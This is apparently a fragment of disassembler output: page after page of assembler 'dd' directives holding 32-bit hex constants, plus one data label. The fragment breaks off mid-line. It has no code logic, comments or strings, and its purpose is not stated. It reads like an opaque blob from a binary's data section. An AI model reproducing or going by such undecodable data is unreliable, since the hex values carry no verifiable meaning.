0CADFB668h dd 0BCF72D2Ah, 85E697F1h, 0A9092E5Ah, 0BDC3E8D2h, 0CA90838Ch dd 8D3A6866h, 1C5F4949h, 5FBED088h, 0D92301ABh, 2FAAB8E9h dd 22B1C3D1h, 77FC55C2h, 0FB6178C9h, 2033D2EEh, 2CA01B7Ah dd 64954CC5h, 0A74BA184h, 9C14F23Eh, 5896EAD9h, 0AD891E7Dh dd 0F988B421h, 38442E5Bh, 32AEC6A6h, 0C1D05E34h, 9ACF58BDh dd 0A26812B3h, 3ECEEE3Fh, 52CAAE4Fh, 6305492Fh, 6FE0AE45h dd 0CB85BDF0h, 4F850428h, 545305EBh, 0E3BE4506h, 130BBD7Ah dd 67AF0EF6h, 9FE989C8h, 0D501B322h, 0A7A26575h, 4A6414FFh dd 6BCBA134h, 6EC49DB2h, 1F680286h, 883C512Eh, 0B9019B67h dd 33A36C38h, 0BC7CC3E8h, 1555829Eh, 0B4C06703h, 63D2CF93h dd 136DE2FAh, 2EA4EFEEh, 1C514406h, 0CFB756BDh, 0BFD2C24Eh dd 5E21BB2Ch, 0CA49EBD1h, 583361ACh, 0BEBCF70h, 55D00A17h dd 513918F6h, 5ACB6A08h, 0DC13DF57h, 0EDF9643Eh, 62A11044h dd 3912E818h, 0C40066FBh, 8F95DC24h, 3CFD2218h, 0EB80B15Eh dd 1FE0EDD5h, 810259F5h, 63F6A3F3h, 0E9C88716h, 8F0F0BA8h dd 1B0E310h, 41682Dh, 8166607Bh, 1E850CD2h, 9C250AE8h dd 5038D72h, 93BB7F78h, 0DA80C8CCh, 6158092Ah, 6420565Ah dd 0DB816031h, 769C790Bh, 688A0033h, 58144BFBh, 1331E761h dd 0E4891253h, 8603397Eh, 0D574DC35h, 0D8DDF830h, 5E4E0C4Ah dd 8C401D1Ch, 18D4F038h, 623D14E8h, 0FBAB0751h, 20255604h dd 2054D624h, 0C3420200h, 67E60E7Bh, 66570410h, 0C0040ABFh dd 83F681FFh, 4BEBDE06h dd 0B4D06E8h, 907E265Ah, 81535F00h, 50A39DFh, 0FB5F6A62h dd 26C4F600h, 0C3601655h, 0BE931F2h, 0E4493D00h, 25F7E0D5h dd 598E6FDh, 8961956Ch, 9A31F31h, 7E017574h, 0D4F94903h dd 0F0A01EAh, 0F5FF6785h, 0D1E88183h, 16DE8820h, 0B976050Eh dd 0AADD6EB8h, 0C8BB5300h, 3E7A0B25h, 0E90022B7h, 9F3105E5h dd 9001C07h, 731DC377h, 3EFDA397h, 0EA29BB5Ch, 0AF92E004h dd 22184D43h, 9F18E30Fh, 1FF60Bh, 6B47830Dh, 0F6346C15h dd 577D4600h, 9F3A0322h, 6EA0192Ch, 85B298Ch, 0D417FF60h dd 8DC1443Ch, 445CAF44h, 2B483BD0h, 2E885542h, 408F1F31h dd 202669CEh, 9EB2D5C8h, 3A4D003Fh, 0B4D7CE28h, 4E1D40A1h dd 5F007165h, 0DCCF6EB3h, 49F30030h, 0CB72AF57h, 0F00731DFh dd 70EBE878h, 0BD4028F0h, 7C07A89h, 398DE4CFh, 27005F29h dd 0E0EEE3F4h, 64F6C900h, 70187883h, 0F89F0110h, 0BB9A37D5h dd 0D976D436h, 0C533F00h, 5903FFADh, 4B080040h, 0BF8CF87Ch dd 2E13B64Fh, 3600A98Bh, 0B70FEE83h, 0E88903F0h, 386F8CEDh dd 0A61F7EA0h, 0BE3B9E00h, 1A024065h, 3C9D009Bh, 0D0ABA7BFh dd 0D9B00BC8h, 9D65500h, 0C74FD4F3h, 738E6CCh, 9F1C752Eh dd 550B40EAh, 0B539C2C0h, 81A638A1h, 0DDDEBC6Dh, 1DD0BBC9h dd 11DB004Bh, 1325B4Ah, 0B776C2Fh, 0B5C0B100h, 0F94EFC97h dd 48C27184h, 0DA1404E4h, 5B00FA2Eh, 0D3F5CF28h, 8100422Ch dd 0F7CD2A57h, 412DD5h, 4AFD2480h, 0C408DF17h, 776D8616h dd 0ECE21D00h, 688BD7h, 96FE0176h, 0F4786A66h, 0E287100h dd 0C41381A5h, 0BA563B30h, 7766ED00h, 2E934DFh, 43091F16h dd 39B09E07h, 2ECC1B70h, 0F17E487Ah, 74884F03h, 0FEE8E50Ch dd 4E006B83h, 3BEE0B7Fh, 27928A5h, 0A2BC8F19h, 74400E17h dd 0F401E063h, 847E127Dh, 997082EDh, 7BF60062h, 0E80EB86h dd 55005D16h, 0B3460CEFh, 3EFC93E3h, 42B16F28h, 2029C111h dd 0DF3DC2C6h, 0CE1D00AFh, 9ED2C462h, 0B822041Fh, 0C0A0AE1Ch dd 714F0E63h, 4A13E0E9h, 0AFD86300h, 836BB4E8h, 73A6002Ah dd 0F69108F4h, 6200A934h, 844CCAF3h, 35055FEh, 0BADA2F5Ch dd 0B0E8DBBDh, 0E100AD8Dh, 2717C409h, 24BEC337h, 47447FD4h dd 1CE9958Bh, 0B4FF00DCh, 4C25F482h, 9981CC6Ch, 0FA9504C1h dd 873D491Fh, 51FB33A8h, 0C16F87DFh, 0FC557394h, 0DA384542h dd 474C001Dh, 2B630A04h, 1936038Ch, 0FA15724Bh, 49107D80h dd 0E0288800h, 0EBF8A0AAh, 0E1413FBAh, 7D82D580h, 0DD7B5AFh dd 5069C0A1h, 4E2416F8h, 0E44D9C1Ch, 0C77826D8h, 0C81D01E6h dd 81FC125Bh, 0CADCDC7Ch, 9CBA8901h, 0A645349h, 32AAC4h dd 0D584C323h, 51E69755h, 9615F00h, 78C910D8h, 777072A3h dd 9F0700DAh, 15AAE1C6h, 4C00AE0Ch, 2DD123D4h, 7E5DD47h dd 603894D8h, 84007E52h, 55EB2518h, 47458509h, 5D30385Bh dd 7E53006Ah, 5405C022h, 0B30985A6h, 8024D2h, 0CE2351B0h dd 5F61307Bh, 2CA84BF1h, 35CAB50Eh, 0AA4A40ACh, 39CEB938h dd 4800AE33h, 7DB42DB7h, 0CF903446h, 0E4AB4C05h, 0B458C6D0h dd 4D1E910h, 0F72A85C5h, 0CA389017h, 20853A9Ch, 1701E08h dd 0FE8500B9h, 28C74263h, 0A87D1300h, 54C238F6h, 0F3D300EFh dd 0E972B959h, 0C700F776h, 51D56D2Ch, 2B265h, 0B83F1E92h dd 0F718833Ch, 0E04A1400h, 0D0DD756Eh, 94A7124Fh, 304000DBh dd 5279ACE3h, 586BE726h, 30F9730Ch, 0B97A00C0h, 6C167033h dd 0A0E0F4A1h, 5CC20F3Bh, 0ACF50041h, 0C1232FA9h, 4EB00086h dd 1E584B48h, 0AA00DEF3h, 503C26CCh, 9879A0A5h, 253300C8h dd 53EC6D4Dh, 0A4000EC2h, 0E2424BDAh, 79B886BCh, 7278B4h dd 29700992h, 8030D35Dh, 50990600h, 3E716DEDh, 0DB34070Bh dd 50E6C0DDh, 7E4A6748h, 3385200h, 58CEE0AFh, 3B6D0030h dd 1F9CF7E4h, 55006906h, 7BFC4E8Ch, 6B8A68h, 1CD077ECh dd 2CDFF1B8h, 0A8B0BAFAh, 0F303D7E6h, 259480BEh, 62B4C8C6h dd 7F574A4h, 0F803E4A2h, 0F932F3E1h, 0B6B8AEE8h, 0E4FB56E4h dd 6E395A3Eh, 0F06BB083h, 0B10A66h, 725E287Eh, 2A1E1686h dd 70FD48h, 85D58996h, 297A02h, 97419447h, 0F99A443h, 6A2F1F1Fh dd 8E81B45Eh, 0F6B16515h, 1D9E4060h, 0C06C1D91h, 0CE12BB1Ah dd 3D3AD963h, 0D58F8E0Eh, 0F7534124h, 6AFC939Fh, 63F005Ah dd 0E5B2CCBFh, 0B800F808h, 0E6F73C75h, 902C68Dh, 0B5E76FF5h dd 2E663E80h, 300EF033h, 0AE16F3DFh, 0F875E9E2h, 32CF0FD2h dd 35E06744h, 33B7DBCh, 5CB4D32Ch, 31B2BB00h, 4DC38Dh dd 0AD4E2BB3h, 0C676CAF9h, 66A43701h, 5D6BCB49h, 0CEE05C71h dd 2851391Eh, 0FD4A21Eh, 1CC01AC8h, 0AAD29C57h, 5E19CB0Eh dd 0A51E81D9h, 25C9C69Bh, 601844D8h, 1D241199h, 0E83C6945h dd 0BF4C57h, 3F9AAFCEh, 0E238A9B2h, 0D82A00F8h, 0FCEAE5B1h dd 4E1E2F5Fh, 0AA47AE2Dh, 0C5D0523Ah, 0E8B4B2E4h, 0E3BC0024h dd 2C233F94h, 0E0B0C417h, 21448900h, 6D98BEAh, 0E1150340h dd 1FADF6Eh, 0A91671A0h, 4C029C0Bh, 0A00D0EF6h, 1DF9E887h dd 0C56E0F85h, 91E259BEh, 3040B8DBh, 0A300C817h, 203E9EB1h dd 0C61A2Dh, 4092B5A7h, 0C91C2F26h, 0CDB6A81Dh, 0EC077700h dd 94F716h, 1F81AB78h, 37D2FAC8h, 10885913h, 81D17C4Bh dd 0F8318588h, 1D4C824h, 4CCECCFh, 0E84FC40Bh, 3009B48h dd 89DA8AE4h, 5674C7h, 0E337111Ch, 94D96853h, 6FD4BD02h dd 60B46BA2h, 502E2508h, 913486A0h, 0F07040F4h, 0FDEE2D9Dh dd 0F8A8D728h, 78F8E100h, 5F2C98C6h, 0D17A51h, 6DC5CBAFh dd 0D753AE19h, 90596600h, 95E45D7Fh, 9601017Eh, 134BFE02h dd 0F17CD1C8h, 0B44EE441h, 0C3B8EBFBh, 16030708h, 74BBFDD3h dd 6A4FA873h, 0FDD0091h, 72156559h, 170F97E3h, 0E3C793DBh dd 0C0481C37h, 0D78F58h, 24B795FBh, 0D3E4D0ADh, 5F01E190h dd 0D5BF6498h, 1864B93Ah, 69030028h, 0DBD2B60Bh, 8D52F90Ch dd 3DBB0114h, 54469F5Ch, 31EF8850h, 3C28B0D1h, 5B92EEC7h dd 0F4700E5Eh, 79018E8Eh, 0E0851220h, 0C1C8A58h, 83C0266Dh dd 0D895BFAh, 8E7B3F4Ah, 0B76EB8Eh, 88F36E41h, 75118FE8h dd 77B9C26Dh, 80C642C7h, 6FEADF70h, 0AB4505FBh, 803A7F49h dd 35E7E414h, 0B6F20C00h, 0DD7C9EBBh, 91A7010Eh, 40FA7004h dd 261EEC6Dh, 0A1833200h, 71EEE1DAh, 527017Eh, 86571F8Ch dd 0F523E408h, 0B009A100h, 0FD3561E1h, 0BE53CD3h, 6B7A2D00h dd 0C821178Fh, 77F3BE02h, 40B9482Ah, 0A4A36Ch, 22325547h dd 92C709DCh, 56796B00h, 0D8EBE1F4h, 7A6C3E85h, 0BB640583h dd 40D812CFh, 6D028F54h, 0E706DBB3h, 1CD46043h, 0C881204h dd 896C00D2h, 0D032F435h, 0F2CDC91Eh, 0E40060D2h, 0B8BF9C1Fh dd 4E78DEAAh, 0EAA0E2E3h, 0DBA3C224h, 0E6A10E03h, 0C972F6F3h dd 0F880300Dh, 0DDB9EDFAh, 0FE0093CAh, 38559703h, 3A2A68Dh dd 0C7E9BCF8h, 31C375CDh, 0A133001h, 8B5DF495h, 3047D8h dd 0CF8AC51Dh, 0A560A908h, 3A6B38C0h, 822EF6h, 0F7C0133h dd 4341954Eh, 838E573Fh, 6FE1290Ah, 7C693C4Dh, 0FC2EE200h dd 0ABB148CFh, 7181AE00h, 17260773h, 368514F3h, 2900BDC3h dd 302EEDBAh, 0AC5CDFB6h, 6DF9003Eh, 99F32D1Ah, 7DA800A0h dd 7FC740Fh, 0ED019793h, 92DAD933h, 0E030EEE2h, 6E6C0A9Fh dd 8939F4h, 0AC1B472h, 0BB00D56Bh, 0D2D57B9h, 7DCF8A1h dd 7D0471C9h dd 33F110D7h, 9C013D86h, 523207E3h, 0D9309D0Fh, 8ABD00F2h dd 0CA3341B2h, 0A401503Ah, 0EE35FF3Ch, 0E1DF7A7Bh, 0F5C1C928h dd 7248F080h, 0B10B1C38h, 985FD326h, 601AA00Eh, 0D04FF160h dd 0D76E00E9h, 31976851h, 9E0BAF3Fh, 802AC45Fh, 4B1B35A0h dd 0E91F00D4h, 0A242CF78h, 1DFA76B0h, 7B04441Eh, 0B5D64900h dd 108A59Bh, 4A4F6D0Eh, 30FC20F9h, 84009274h, 0E30F2C14h dd 3CAA38Fh, 23BE43BAh, 66F8F104h, 133A7752h, 53120080h dd 0C43BB594h, 0E5D700D8h, 768A513Dh, 0D600CA11h, 93A79CC6h dd 0AAF69h, 0D0FBD26h, 0EE0B7ED7h, 0A69F1E06h, 7278FDB1h dd 0CA91031Fh, 202F4985h, 0B9A5E4C0h, 3F76DE00h, 4F8A0910h dd 263781Dh, 0AF8220C3h, 0E2804B22h, 917B67D8h, 0D7B36B00h dd 9258A110h, 83BA12C0h, 2C870022h, 0E8454836h, 81E2900Fh dd 0F7F60091h, 987312F9h, 78EC0324h, 50CBBA79h, 8EAD4498h dd 15AF5B00h, 48038A34h, 1EC3B8E8h, 0C0D0720Ch, 8E942AAAh dd 5900B42Bh, 90E5B79Fh, 3E715BF8h, 0E38363DBh, 8904756Ch dd 3D826A00h, 0ADA9A5D8h, 1F64003Ah, 0F576B133h, 2A091796h dd 0E20AECBFh, 0F7116058h, 0B5220B9Eh, 14A049C4h, 0C9B033D3h dd 2F06B1EAh, 0AE35CF4Ah, 45BF02B0h, 0C746B954h, 43C07AC3h dd 0C8F1BB56h, 8B0022DEh, 0DC42587Dh, 3C15D3C5h, 4FA389h dd 0C1DDD8Ch, 0D7066865h, 0C31E01B3h, 0C7D30518h, 32D413EBh dd 0A90CDB18h, 78B5078Eh, 40DD808Fh, 0B09B67A3h, 0D582B61Fh dd 0E54C3800h, 0B8A91234h, 0EC42039Ah, 0EBB7DBC5h, 70640E6h dd 0FA2D3513h, 0C5FC0021h, 60FF7AD1h, 0B805D750h, 493ABB62h dd 9B6B1803h, 1C8878B7h, 18C60434h, 420D3840h, 9D6A2B14h dd 4B3A1410h, 4065181Ch, 7B82E0h, 0D26C1554h, 1C1E3B29h dd 1D999501h, 9346735Eh, 0A70AC080h, 24711BA1h, 0F18F4100h dd 6EA54AEBh, 0D4660789h, 203B77D3h, 9B49C6BFh, 0A1607100h dd 24D13688h, 0A95D00A0h, 0BF58B921h, 300D5BDh, 0A8E59B4Ah dd 3BBB02Dh, 8BA454E2h, 97C82CACh, 6B006F59h, 3F0CB781h dd 0FDCCB8h, 0D5137CA7h, 0D64FA618h, 4E7DFB00h, 96BA6343h dd 0BC5B001Ah, 0B8DD03D7h, 0B7001574h, 882BC5E9h, 5D2697h dd 67EB7DC7h, 0EDB0D7FCh, 478ECB00h, 3683A105h, 7F8F0A43h dd 8390F820h, 0F96EDE0Ah, 838FB69Bh, 4FADD8DDh, 0E94822A4h dd 0DC07A11Dh, 4D3ED7EDh, 0A0EF21C3h, 0C0E6B424h, 0B8D63B11h dd 6E13651h, 1AD90C38h, 8749EC22h, 0BC68AB06h, 0E081E18Ch dd 2075186Dh, 626A11D8h, 6706E608h, 36EA0054h, 5E82CD7Bh dd 184F884h, 21D74F66h, 0C9420CE6h, 7408A8C6h, 561620C1h dd 3B00B9A3h, 66194DF8h, 0F10D117h, 12B12CF4h, 189605Eh dd 0B4C57E64h, 0EC5DED51h, 0D012140h, 0D0A2D75Fh, 38F0577Fh dd 3C32F062h, 223B800Ah, 0FCBAD1E0h, 9E7DA73Ah, 0B3962F00h dd 0C39D3414h, 3E7802h, 0BB37F8A5h, 983801CAh, 1322A21Eh dd 2EF9AF00h, 7B269B9Ch, 0E9E825h, 8ACA31Dh, 15BC7C36h dd 0A0845D00h, 0AAA210FBh, 0A8330006h, 0A93813ACh, 320A029Ah dd 3815079Dh, 0C39977E3h, 184AC72Bh, 8826254h, 0DC09A28h dd 0CC58BB38h, 0B3A7246Dh, 9900EC26h, 0C5823DFCh, 0A90C01E9h dd 861208A6h, 0B317E0BBh, 13F5A003h, 0F27077Dh, 87081CD1h dd 392D1606h, 0C454D4B4h, 0F045B309h, 8D0A4230h, 0C81F83D1h dd 7D30C781h, 218B57h, 4024A502h, 9208A300h, 56170C40h dd 36181278h, 0A816D239h, 0BA480844h, 92CF3E64h, 0F8029165h dd 87E76CB7h, 493F2C2Ch, 6D00055Bh, 47C90C33h, 1A3C0C88h dd 0D3A930E0h, 926CF036h, 4448A058h, 8D3D3E12h, 1A4062EBh dd 66A47035h, 59C540DCh, 3E5459E0h, 37281A78h, 3F4358B7h dd 0DF5721BFh, 0C8EF2290h, 0DD827572h, 0C6C08D6Eh, 4010ED04h dd 81E56675h, 7F9D6928h, 38D0E880h, 0EA0CA055h, 3372451h dd 4E8282E4h, 0B860E0D7h, 0B71DF8DDh, 8A0A5D62h, 5C070C2Eh dd 20698BBCh, 36BF61FCh, 0B898E3h, 0D4154B38h, 0DF684AB8h dd 6BB0CA0h, 14556626h, 584ED58Ah, 4A88A01h, 644E0B42h dd 0F8898F88h, 0D3F085A7h, 21BC8C50h, 36D005D5h, 1B82396h dd 0A16AB105h, 0F05DEC46h, 0F8CFE58Ah, 58FFB761h, 5C209061h dd 489084BCh, 408C4845h, 2EC1EADDh, 8CC88329h, 0E41AC5BEh dd 9B9E0B80h, 7C996680h, 10FC9832h, 0AD32D75Eh, 0A19F912Fh dd 0C76C87D8h, 0A1510AF7h, 66885F0Bh, 0BC99E08Bh, 2413AB04h dd 94981013h, 0A5C76D87h, 4908508h, 324D920Ch, 51802804h dd 0C99A3E8h, 8C68B91Ch, 3C58A871h, 0B714AA04h, 0CCD8884h dd 36C31E0h, 45F471F4h, 942566A2h, 0BA672081h, 31280405h dd 28BF32D8h, 0A3DB5180h, 8A090C99h, 9A6000D7h, 99D4094Ah dd 823F60Ch, 0DF69E093h, 0A891FB12h, 0A12B5091h, 997C9A80h dd 0EB0B0C30h, 9CADACBAh, 0A21EB451h, 555B194Eh, 0E7A07C8Ch dd 47C08185h, 24BCD8DCh, 8C22F414h, 3B74B1D1h, 7C610FB5h dd 42855750h, 0E484FB55h, 0A8994A51h, 20F0816Dh, 0A579CADFh dd 0BE306AD8h, 82B25849h, 0CF9D4CA4h, 35CEF22Ch, 0F31B45F1h dd 0F176B1A3h, 9F891080h, 651725E4h, 0D23E0498h, 400E44E2h dd 0D752635Eh, 8CF506CCh, 3184726h, 8163518h, 701FCCBCh dd 4B2275D2h, 9C80108Eh, 0A453C922h, 4EB6043Ch, 1479516Ch dd 0E73C70E8h, 0C447F1F7h, 3C47D895h, 0B6859504h, 64FE7847h dd 882318FAh, 2600AD8Ch, 89F8ABEFh, 38713E4Dh, 7280C5D9h dd 55939ABDh, 96011797h, 599C6AABh, 3430E99Dh, 83DE4481h dd 0BD9D549Ch, 79642740h, 3DD9FC9h, 7423ADE5h, 25A03A6Bh dd 0D91A2492h, 0C031DEDCh, 360F848h, 0B34A3A94h, 2CF04C1Eh dd 2F00FCC3h, 0EC21DBF4h, 7CAD9ACh, 12AA6AADh, 65AE4023h dd 2B00077Bh, 0E785EBCh, 0E25CB088h, 9A81009Bh, 68A8F6D6h dd 80FAB7B4h, 51066499h, 90C0FF36h, 0C6AE4408h, 0B3E40900h dd 0B619981Dh, 59700E1h, 1AB11743h, 49189FBDh, 0A539FA23h dd 0C27B40h, 4584A23Ah, 8EEF4110h, 0FE31D800h, 0D55EB91Fh dd 82B6002Dh, 6C172CCFh, 0D300882Eh, 139027F5h, 8FB173h dd 41153F4Bh, 0FFDAE6EEh, 0BDCFF007h, 8483C208h, 0AFE9E071h dd 28F37CFAh, 3E144BBCh, 0FE036EFBh, 8B761B06h, 64CF2BD0h dd 7E019878h, 17296AE0h, 0EFF8C248h, 0FB4E00BEh, 1AC6A5DAh dd 0F21F34EDh, 498075E9h, 0C24BFD15h, 147B008Fh, 0D0FBF4BFh dd 4000B2Eh, 0E05C6AFh, 1899E9F6h, 20DBA9A3h, 0B00A164Bh dd 204A6E88h, 209C4273h, 0C3A98006h, 98DB2850h, 18EBFD28h dd 0FD1A405Dh, 0EDF31900h, 60BBB690h, 271400CCh, 303810F1h dd 0C8180233h, 1D82506h, 2C731890h, 0C5B348B8h, 4BF91A00h dd 0DF7A788Eh, 0FEA36F1h, 0B41E1868h, 0E4DE6A7Eh, 29880FFFh dd 9EC30C4Bh, 0D5FC00BFh, 1950EE7Fh, 99001A39h, 6F7780C5h dd 0C1EE607h, 1D9A6D89h, 3500C260h, 0A96ADAEDh, 0E79B4416h dd 0ACA51980h, 0F6379F8Ah, 681F9807h, 0E8B0D33Ah, 37BD4CF9h dd 57E9FE99h, 80E2B11Ch, 106DE025h, 6BA93E60h, 338959EDh dd 0BC980DC4h, 2140A130h, 59F50Ah, 0A4F0FB88h, 6FD38790h dd 9B66A014h, 76960050h, 40D8AE3Ch, 758C7A90h, 0C90BBh dd 7FFC70A7h, 53B0E2D0h, 3F0D277Ch, 20548F9Bh, 1916E9FFh dd 6A8DB040h, 7AD87375h, 0F2F0B1h, 5AFDA97Ah, 0D9D4FB99h dd 26329100h, 67FC9223h dword_4FFE38 dd 6F40643h, 38B41ACFh, 1EB97620h, 0C701918h, 9A582372h dd 0ACA91E6Eh, 19108F8h, 4A47FB3Ah, 0E0B5BED6h, 0C67C67BCh dd 0C4A4F815h, 25037AECh, 0DDFB168Dh, 8C4CDDF0h, 30886003h dd 0E229C0B3h, 0F4013DDFh, 47DCD63Ah, 898DE43h, 0E80321B7h dd 3BFA3D00h, 38FBFD74h, 0AD7B0143h, 0A48B1B97h, 9E2980B9h dd 0DC2529EAh, 0BDAE070Ch, 0C2971917h, 7848F2F5h, 204D91Ah dd 1F6FE581h, 49781482h, 2180C618h, 9280FA82h, 200D825h dd 6E30E849h, 48ADA38Fh, 1F7D5CE0h, 527391C1h, 406474BFh dd 6CF18BF8h, 11C04410h, 0BDE39573h, 5DB0052h, 9423786Eh dd 0C7F40236h, 0E78C7501h, 81D888E2h, 60EFA448h, 7A3451F5h dd 0A700C795h, 7690CD9h, 942554h, 4CF32BF8h, 9222F4B4h dd 0F7A39C3h, 0FF79033Bh, 0D2ECD8C1h, 0C455B5C0h, 54DF390Fh dd 0F7532112h, 0EC483852h, 64A50E80h, 0FAAF77E8h, 0C18A5184h dd 192808h, 77F9F874h, 0BA31C099h, 8FEB7E8Ah, 9778EC66h dd 21236081h, 947E92E0h, 0FF0B0A00h, 218C4EE6h, 0FA1C2654h dd 3098228Ah, 0C831149Bh, 0C00BA23h, 50B3ADDBh, 134E2276h dd 0DDBB4Fh, 6D88A980h, 31C0129Bh, 2A255F5Ah, 0F186026Fh dd 0A42815F2h, 90001844h, 8DFBAD52h, 7556BECh, 38662EDh dd 40C715F2h, 0FA93A4ACh, 0F878BAB9h, 17DED4F5h, 0FB2CB300h dd 29D33654h, 80010339h, 0C1F2212Eh, 74303903h, 0BB64ECDEh dd 0CDE340h, 496B1E19h, 1C8F8CACh, 4ABA7E01h, 8340E99Ch dd 3EF2E8h, 97E8C932h, 0B21571A2h, 20F4ED2Ah, 5100C8ECh dd 668F96ABh, 5495F0h, 68DCC19Bh, 0D546CBBEh, 7FE9ED00h dd 0F9DAE802h, 1C7E35C8h, 23A83AF0h, 3A803DB5h, 46C4B3A8h dd 0B4A0C917h, 49497415h, 36197C20h, 0E218CBA7h, 0DC48C9E1h dd 0C01B449Ah, 284F2C00h, 0AE2E311h, 0FB800418h, 0CEDD1E3Ah dd 0C03A8894h, 2D25E775h, 0C17CC6F0h, 4F1070A0h, 0BB9B29C0h dd 7276293h, 71D1C34Ch, 29185077h, 0A607F043h, 45F71A25h dd 7BB51547h, 3E84010h, 0E657776Ah, 7F210078h, 97874AAAh dd 9212EAFFh, 0F014949Fh, 3B6E0278h, 6041E39Bh, 14C68AB4h dd 88285336h, 0E0644448h, 59E8606Ch, 0F5C41086h, 8037C8BEh dd 7E59EFFDh, 0BB314EC6h, 0FCF248F7h, 6C541C32h, 44CC908Eh dd 7F03E71Ch, 7580F1F4h, 0E440E594h, 0CEE2D648h, 18B898B8h dd 31209AFAh, 0E41ECC90h, 2C804B4h, 7F22803Bh, 0EA9206A6h dd 0BCD98E12h, 3A529804h, 80E4C241h, 0F924FF1Ch, 8560F49Ah dd 468FE87Eh, 0F8AE1084h, 7E8DD900h, 56683FD3h, 742AD001h dd 14FAE4C0h, 93932464h, 123C284Ch, 628E3B01h, 420B64Ch dd 24323D71h, 41D4EFF2h, 0F0CC7A7Bh, 0DF00A788h, 5EAB15E7h dd 79165BBh, 0C4BE645Dh, 0D3F931ADh, 1A49BABDh, 6041C293h dd 0B0B21264h, 334D016Ch, 6024571h, 437C2009h, 0A851DC41h dd 390017E6h, 2B3B8067h, 50F75CDBh, 0BC30FA00h, 0F54361C3h dd 0FF661FE3h, 56BB8019h, 392B88C4h, 697643Ch, 6817A33Ah dd 409838h, 8D619A24h, 5D7715C1h, 32B3F8A9h, 621D7E58h dd 890129D8h, 0D053C515h, 0A4007823h, 9BC6424Ah, 0DF00BC08h dd 3376B217h, 72EBF4h, 0EDA0D561h, 9FE64777h, 0DA3FBB14h dd 16D23E4h, 8FE77E86h, 0C01F188Ch, 7E8EDC21h, 0CB0047B2h dd 963FFA0Ch, 0A695BD3Eh, 0FEE017A4h, 8E1020C7h, 0E43A7BC5h dd 4BA962F9h, 0C48C408Ah, 0FA5B282Eh, 7A5CA1ACh, 0F02260h dd 399151FCh, 16BEC5BCh, 154B9A06h, 9414A10h, 0FA09EA84h dd 73485C80h, 2492CFC0h, 0FB9CBD18h, 509A089h, 2E236F5Ch dd 0AD088899h, 3EE54C00h, 248617D4h, 29883DE3h, 2FB31B00h dd 7B699C52h, 31159A30h, 38367B9h, 98FC4ADBh, 38C1D0CDh dd 1F013AD3h, 417C1601h, 3EC69982h, 8464CE5Bh, 10C1BE22h dd 13F7E79Bh, 9C207115h, 0EF682BCh, 91B17362h, 0E7140813h dd 7F59EBC0h, 22FD46C4h, 0F2F235h, 0E49A0E59h, 0B3273A1Ch dd 9B75D100h, 584B9221h, 0D3CB8A8h, 0D51F3EC4h, 29DC3098h dd 66FA4D00h, 9348242Bh, 25FC9018h, 84108675h, 420182E2h dd 21F16AEh, 0D0297A23h, 0B8786098h, 39363380h, 233F5BD6h dd 427E2F09h, 8BAEEC80h, 10B0FC6Ah, 1DCDAF20h, 0F709AC05h dd 0BF567338h, 7B939906h, 9118CB24h, 1835D198h, 4041006Bh dd 0C0846B8h, 7D34AB90h, 0A4C550D8h, 2423743Ah, 11BD4F00h dd 48A95F31h, 0E57E58EAh, 0B07B8F00h, 6460AE6Fh, 74D19BBCh dd 27E0891Ah, 688F4D19h, 0F53DE480h, 458C6E3Ah, 3D6DC0B4h dd 0C9888300h, 0AB46C8EFh, 2D49416h, 0B62EB827h, 9EA33F00h dd 2418981Bh, 41A8E361h, 0F4695539h, 89521917h, 3D26713Ch dd 0A424F003h, 3EB0270h, 9339553Dh, 580F521Fh, 0FD87C76h dd 8B11B987h, 0DE078823h, 80FD6C4Ah, 967D557Ch, 1F5CE71Ch dd 409DB480h, 58AEFF43h, 1813FC97h, 222C9CBBh, 396E8901h dd 0C653A05Ah, 20462074h, 9362C16Fh, 81F66B42h, 80E170DCh dd 3AC87039h, 0A8EF2021h, 9ECBC067h, 0D02A756Ah, 2413A4F2h dd 50810894h, 2E003DFAh, 770022FEh, 0B916329Ah, 71B0DF1h dd 1D6B9B8Dh, 101C478Bh, 0A19DA8Ch, 50F67F00h, 289577FFh dd 0EB8900E2h, 0ECB9270Dh, 8D002333h, 721A17D8h, 0E8246BEDh dd 6F28CC94h, 783E1C10h, 7E2000ECh, 0B925318Fh, 270E24EBh dd 0B1D035Ah, 50E797BBh, 1028908Dh, 0DE8B91Fh, 1CEE8040h dd 0BBF8B71Fh, 5D042308h, 241285F8h, 0B47E10h, 23F2B711h dd 18A51926h, 21F59B09h, 87B60B8h, 0FE0AAC64h, 0A785169Fh dd 0D06C62A0h, 71F4861h, 92336ECFh, 0E0811884h, 8E024163h dd 73EA4CC0h, 0EF99D817h, 8396000h, 985B8B2Fh, 8C9407B0h dd 4B666A05h, 20038887h, 90A3FE01h, 0C0C83E59h, 3C316473h dd 0D8693E46h, 0F3182434h, 7B6A0500h, 400E4B3Eh, 991AC697h dd 0FE741BD9h, 33C30825h, 0F38BF918h, 0A469C6C0h, 19FA027Ch dd 63B61A6Fh, 264EF03Ch, 84CCF83Bh, 18995173h, 20906D68h dd 6C20D47Bh, 81C833F1h, 810236F8h, 620A56D0h, 8210E8AFh dd 61EC9A74h, 121D5071h, 72E3E1F3h, 0F78D14B4h, 0B9A1A38Ch dd 311E5914h, 4A7E80F0h, 884231DDh, 39B064F2h, 180BBE81h dd 2095370h, 3D91B020h, 290379A4h, 0E4FEA1E8h, 440AE548h dd 51948C6h, 28274A08h, 2B1B0212h, 44528B64h, 0F8A777A0h dd 90EF004Eh, 0FF742E2h, 8C1CB77Fh, 0D8DC1B33h, 0E17810C0h dd 0F076230Dh, 7863E91Eh, 5509E2Ch, 8731EB8Ch, 66BC054h dd 1FE88DD6h, 289C7800h, 45F413DCh, 44A6E6h, 76C3ADEFh dd 0D3ED90AAh, 0A61F04ACh, 0A9149770h, 208D00Ch, 339D6FEFh dd 31C125ABh, 66DBFE30h, 2B705878h, 9A1988FDh, 0A04EB610h dd 8224E491h, 103294CCh, 0E4D00CCAh, 91C34886h, 3ADEF36Eh dd 1052CA59h, 2218109Ch, 8C707434h, 2AF8088Ch, 82700282h dd 0B28884CDh, 47E09CDBh, 0C4ACBD82h, 10BB0732h, 75028C3h dd 0FDB9D9FEh, 0FF180328h, 0FD89097Eh, 0C324FC12h, 0F144A25Fh dd 12F789F0h, 48F524F6h, 22FB91F4h, 0C8C944FAh, 0CE12CF89h dd 0BAC0CD27h, 56D88E2h, 3926EFDh, 0C3FC4606h, 0C152B819h dd 4A9DD84h, 8259575h, 7BCAA28h, 0F91DE52Bh, 8917C3F0h dd 48E0C5E3h, 0A11FC33Ch, 20006A21h, 7FE532F8h, 97F1EDF7h dd 8FF1C8D1h, 3ED3D0E1h, 17081840h, 0E8106A4Ch, 